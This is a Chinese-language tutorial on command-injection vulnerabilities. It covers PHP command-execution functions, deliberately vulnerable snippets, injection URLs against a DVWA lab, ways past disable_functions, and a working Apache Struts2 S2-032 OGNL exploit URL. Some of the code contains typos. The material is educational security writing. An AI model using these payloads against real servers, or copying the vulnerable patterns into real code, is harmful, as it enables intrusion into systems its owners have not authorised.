十大漏洞之命令执行
可以用`&&’,’||’,’|’,’&’等来执行其它命令。当输入的参数有双引号时,如果引号没有被转义,我们可以先闭合引号。当是单引号时,需要先闭合单引号才能执行。
什么叫做代码执行漏洞:
程序代码在处理输入输出的时候没有严格控制,导致用户可以构造参数包含执行远程代码在服务器上执行,进而获取服务器权限,发生在应用上的逻辑层的漏洞。
##一些基本命令执行的函数:
<?php $cmd=”system”; ob_start($cmd);echo “$_GET[cunlide]”;ob_end_flush();?>
system(“$_GET[cunlide]”);
echo exec(“$_GET[cunlide]”)
echo shell_exec(“$_GET(cunlide)”);
echo passthru(“$_GET[cunlide]”);
echo $_GET[cunlide]
;
除了上面的,还有很多函数可以执行命令。比如popen(),proc_open(),pcntl_exec()等函数。
基本的一些本地测试:
system()函数命令执行
<?php
$dir=$_GET["dir"];
if(isset($dir))
{
echo "<pre>";
system("dir".$dir);
echo "</pre>";
}
?>
攻击者:
http://192.168.16.133/DVWA-1.9/cmd.php?dir&&ipconfig
只是执行后面的
http://192.168.16.133/DVWA-1.9/cmd.php?dir=|netstat%20-an
执行了前面和后面的
http://192.168.16.133/DVWA-1.9/cmd.php?dir=||netstat%20-an
exec()函数命令执行
<?php
$cmd=$_GET["cmd"];
$output=array();
echo "<pre>";
exec($cmd,$output);
echo "</pre>";
while(list(key,$calue)=each($output))
{
echo $value."<br>";
}
?>
攻击者:
http://192.168.16.133/DVWA-1.9/cmd.php?cmd=net user&ipconfig
passthru函数命令执行
<?php
$cmd=$_GET["cmd"];
echo "<pre>";
passthru($cmd);
echo "</pre>";
?>
攻击者:
http://192.168.16.133/DVWA-1.9/cmd2.php?cmd=netstat -an|ipconfig
shell.exec()函数命令执行
<?php
$cmd=$_GET["cmd"];
echo "<pre>";
echo shell_exec($cmd);
echo "</pre>";
?>
攻击者:
http://192.168.16.133/DVWA-1.9/cmd2.php?cmd=ipconfig||netstat -an
``运算符命令执行
<?php
$cmd=$_GET["cmd"];
$output=`$cmd`;
echo "<pre>";
echo $output;
echo "</pre>";
?>
攻击者:
http://192.168.16.133/DVWA-1.9/cmd2.php?cmd=ipconfig|netsta -an
popen()函数命令执行
<?php
popen('whoami>>C:/wamp/www/DVWA-1.9/2.txt','r');
?>
攻击者:(访问链接,就会创建一个文件,显示命令信息)
http://192.168.16.133/DVWA-1.9/cmd2.php
proc_open()函数命令执行
<?php
$test = "ls /tmp/test";
$array = array(
array("pipe","r"), //标准输入
array("pipe","w"), //标准输出内容
array("pipe","w") //标准输出错误
);
$fp = proc_open($test,$array,$pipes); //打开一个进程通道
echo stream_get_contents($pipes[1]); //为什么是$pipes[1],因为1是输出内容
proc_close($fp);
?>
命令执行的绕过方法
修改配置文件
进制webshell执行命令原理
php 配置文件php.ini 里面disable_function=配置,这里是进制某些函数
紧着php的执行命令函数
disable_functions=system,exec,popen,passthru
黑名单绕过
php下执行系统命令的函数有哪些
assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(反单引号)
php.ini里面没有完全限制死,有漏掉的函数,
系统组件绕过
<?php
$command=$_POST[a];
$wsh=new COM('WScript.shell');
$exec=$wsh->exec('cmd.exe /c'.$command);
$stdout=$exec->stdOut();
$strout=$stdout->ReadALL();
echo $stroutput;
?>
不想让攻击者绕过组件,就删除掉wshom.ocx
拓展库绕过
php create_function()匿名函数,注入命令执行
<?php
$sort_by=$_GET['sort_by'];
$sorter='strnatcasecmp';
$databases=array('test','test');
$sort_function='return 1 *'.$sorter. '($a["'.$sort_by.'"],$b["'.$sort_by.'"]);';
usort($databases,create_function('$a,$b',$sort_function));
?>
DVWA案例分析:
DVWA低级命令执行:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
分析源代码,发现,在传入ip以后,仅仅就做了一个过滤,
过滤是不是windows操作系统,然后直接带入操作,
进而导致攻击者拼接命令执行。
ping 127.0.0.1&net user
ping 127.0.0.1&&net user
ping 127.0.0.1|net user
ping 127.0.0.1||net user
DVWA中级命令执行:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
相比之下,比低级的稍微好点,但是我们仍然可以通过管道符,绕过过来,拼接命令
ping 127.0.0.1|net user
ping 127.0.0.1||net user
DVWA高级命令执行:
高级的,我感觉就不存在漏洞了,他过滤你是不是都是数字,然后.号分割四分,然后组合,感觉无法拼接命令执行。
现实中的案例:
Apache Struts 2 S2-032 远程命令执行漏洞
Apache Struts 2.3.18 ~ 2.3.28 之间版本(除了 2.3.20.2 与 2.3.24.2 版本)
http://d047ab33ccbe2dda8.jie.sangebaimao.com/struts2-showcase/filedownload/index.action?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%2C%23test%3D%23context.get%28%23parameters.res%5B0%5D%29.getWriter%28%29%2C%23test.println%28%23parameters.command%5B0%5D%29%2C%23test.flush%28%29%2C%23test.close&res=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=net user